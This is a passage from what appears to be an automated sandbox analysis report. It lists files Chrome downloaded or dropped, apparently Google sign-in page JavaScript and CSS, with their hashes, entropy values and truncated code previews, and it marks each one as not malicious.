gIa;._.k("p3hmRc");.var WIa=function(a,b,c,d){this.transport=a;this.aa=b;this.da=c;this.environment=d;this.fa=Number(Date.now()).toString(36)+Math.rando
                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                        File Type:ASCII text, with very long lines (673)
                        Category:downloaded
                        Size (bytes):1338
                        Entropy (8bit):5.231032845680865
                        Encrypted:false
                        SSDEEP:
                        MD5:3DD8EF493FBE1A6FD61592D6321D4C37
                        SHA1:D7F2984BEFAA0B11CBBAC5A98CFBFFF6FB957289
                        SHA-256:37D01B5D32DA496CA129EF8ACFA3B838F6165AD5C561E9EC8E8E43A62849A404
                        SHA-512:B11A8BE6F1A00BA7B18E850FFCC214823AABF7519E46C8728EF139310436C55FA8714ACC388850F951D0789E6C7CF56475A5CAB1F459376134154F91BB024827
                        Malicious:false
                        Reputation:unknown
                        URL:"https://www.gstatic.com/_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en_US.o-xrRUOsnJg.es5.O/ck=boq-identity.AccountsSignInUi.0kxUC5tMpvM.L.B1.O/am=iQ2mZPgGABD_cGlAN6BIIGQAAAAAAAAAAMAGAACwww/d=1/exm=A7fCU,CMcBD,E87wgc,EFQ78c,EN3i8d,Fndnac,IZT63,K0PMbc,K1ZKnb,KUM7Z,L9OGUe,LDQI,LEikZe,LvGhrf,MpJwZc,PHUIyb,PrPYRd,RMhBfe,Rkm0ef,RqjULd,SCuOPb,SD8Jgb,SpsfSb,Tbb4sb,UUJqVe,Uas9Hd,WpP9Yc,YHI3We,YTxL4,YgOFye,ZDZcre,ZZ4WUe,ZwDk9d,_b,_tp,aC1iue,b3kMqb,bTi8wc,byfTOb,cYShmd,cciGGe,f8Gu1e,hc6Ubd,iAskyc,lsjVmc,ltDFwf,lwddkf,m9oV,mvkUhe,n73qwf,oqkvIf,p3hmRc,pxq3x,q0xTif,qPYxq,qmdT9,rmumx,rv9FVb,sOXFj,siKnQd,soHxf,t2srLd,vHEMJe,vfuNJf,vjKJJ,w9hDv,ws9Tlc,xQtZb,xiZRqc,y5vRwf,yRXbo,ywOR5c,z0u0L,zbML3c,ziXSP,ziZ8Mc,zr1jrb,zy0vNb/excm=_b,_tp,identifierview/ed=1/wt=2/ujg=1/rs=AOaEmlHWF9YibrbVxyqBWgCA7Xrwdn4pxw/ee=ASJRFf:DAnQ7e;Al0B8:kibjWe;DaIJ8c:iAskyc;EVNhjf:pw70Gc;EkYFhd:GwYlN;EmZ2Bf:zr1jrb;JsbNhc:Xd8iUd;K5nYTd:ZDZcre;LBgRLc:XVMNvd;Me32dd:MEeYgc;NPKaK:PVlQOd;NSEoX:lazG7b;Pjplud:EEDORb;QGR0gd:Mlhmy;SMDL4c:K0PMbc;SNUn3:ZwDk9d;ScI3Yc:e7Hzgb;UpnZUd:nnwwYc;Uvc8o:VDovNc;XdiAjb:NLiXbe;YIZmRd:A1yn5d;a56pNe:JEfCwb;cEt90b:ws9Tlc;dIoSBb:SpsfSb;dowIGb:ebZ3mb;eBAeSb:zbML3c;iFQyKf:vfuNJf;lOO0Vd:OTA3Ae;nAFL3:NTMZac;nTuGK:JKNPM;oGtAuc:sOXFj;oSUNyd:K0PMbc;oXZmbc:tUnxGc;pXdRYb:L9OGUe;qafBPd:yDVVkb;qddgKe:xQtZb;vNjB7d:YTxL4;wR5FRb:siKnQd;yxTchf:KUM7Z/m=P6sQOc"
                        Preview:"use strict";this.default_AccountsSignInUi=this.default_AccountsSignInUi||{};(function(_){var window=this;.try{._.k("P6sQOc");.var p0a=!!(_.ei[0]>>28&1);var r0a=function(a,b,c,d,e){this.fa=a;this.Ba=b;this.oa=c;this.Da=d;this.Ea=e;this.aa=0;this.da=q0a(this)},s0a=function(a){var b={};_.Oa(a.qV(),function(e){b[e]=!0});var c=a.fV(),d=a.kV();return new r0a(a.kS(),c.aa()*1E3,a.JU(),d.aa()*1E3,b)},q0a=function(a){return Math.random()*Math.min(a.Ba*Math.pow(a.oa,a.aa),a.Da)},t0a=function(a,b){return a.aa>=a.fa?!1:b!=null?!!a.Ea[b]:!0};var u0a=function(){this.da=_.Iu(_.l0a);this.fa=_.Iu(_.j0a);var a=_.Iu(_.Z_a);this.fetch=a.fetch.bind(a)};u0a.prototype.aa=function(a,b){if(this.fa.getType(a.Yd())!==1)return _.Gn(a);var c=this.da.xX;return(c=c?s0a(c):null)&&t0a(c)?_.Aya(a,v0a(this,a,b,c)):_.Gn(a)};.var v0a=function(a,b,c,d){return c.then(function(e){return e},function(e){if(p0a)if(e instanceof _.xf){if(!e.status||!t0a(d,e.status.yc()))throw e;}else{if("function"==typeof _.Cs&&e instanceof _.Cs&
                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                        File Type:ASCII text, with very long lines (5693)
                        Category:dropped
                        Size (bytes):719516
                        Entropy (8bit):5.592174977343808
                        Encrypted:false
                        SSDEEP:
                        MD5:938E1C4958C8FFEB83B95C2C1DD741B3
                        SHA1:99EE194F3FD0EC0672B47E33510A42AE2E18F33E
                        SHA-256:5A0474A65C3FA773701D08BE8518D3E94BBFABDD20687E7441236B6B8CEFC1BC
                        SHA-512:0ED6BA7D4D63C5E68D0FBE9C08CD0024FE1236FFA6A80260257E506AF4843A6D37D74721D76003A77B4D2E995B54AD7954586F8EC29A93F52491A2FF14C58E7C
                        Malicious:false
                        Reputation:unknown
                        Preview:"use strict";_F_installCss(".r4WGQb{position:relative}.Dl08I>:first-child{margin-top:0}.Dl08I>:last-child{margin-bottom:0}.IzwVE{color:#1f1f1f;color:var(--gm3-sys-color-on-surface,#1f1f1f);font-family:\"Google Sans\",roboto,\"Noto Sans Myanmar UI\",arial,sans-serif;font-size:1.25rem;font-weight:400;letter-spacing:0rem;line-height:1.2}.l5PPKe{color:#1f1f1f;color:var(--gm3-sys-color-on-surface,#1f1f1f);font-size:1rem}.l5PPKe .dMNVAe{margin:0;padding:0}.l5PPKe>:first-child{margin-top:0;padding-top:0}.l5PPKe>:last-child{margin-bottom:0;padding-bottom:0}.Dl08I{margin:0;padding:0;position:relative}.Dl08I>.SmR8:only-child{padding-top:1px}.Dl08I>.SmR8:only-child::before{top:0}.Dl08I>.SmR8:not(first-child){padding-bottom:1px}.Dl08I>.SmR8::after{bottom:0}.Dl08I>.SmR8:only-child::before,.Dl08I>.SmR8::after{border-bottom:1px solid #c4c7c5;border-bottom:1px solid var(--gm3-sys-color-outline-variant,#c4c7c5);content:\"\";height:0;left:0;position:absolute;width:100%}.aZvCDf{margin-top:8px;margin-left
                        No static file info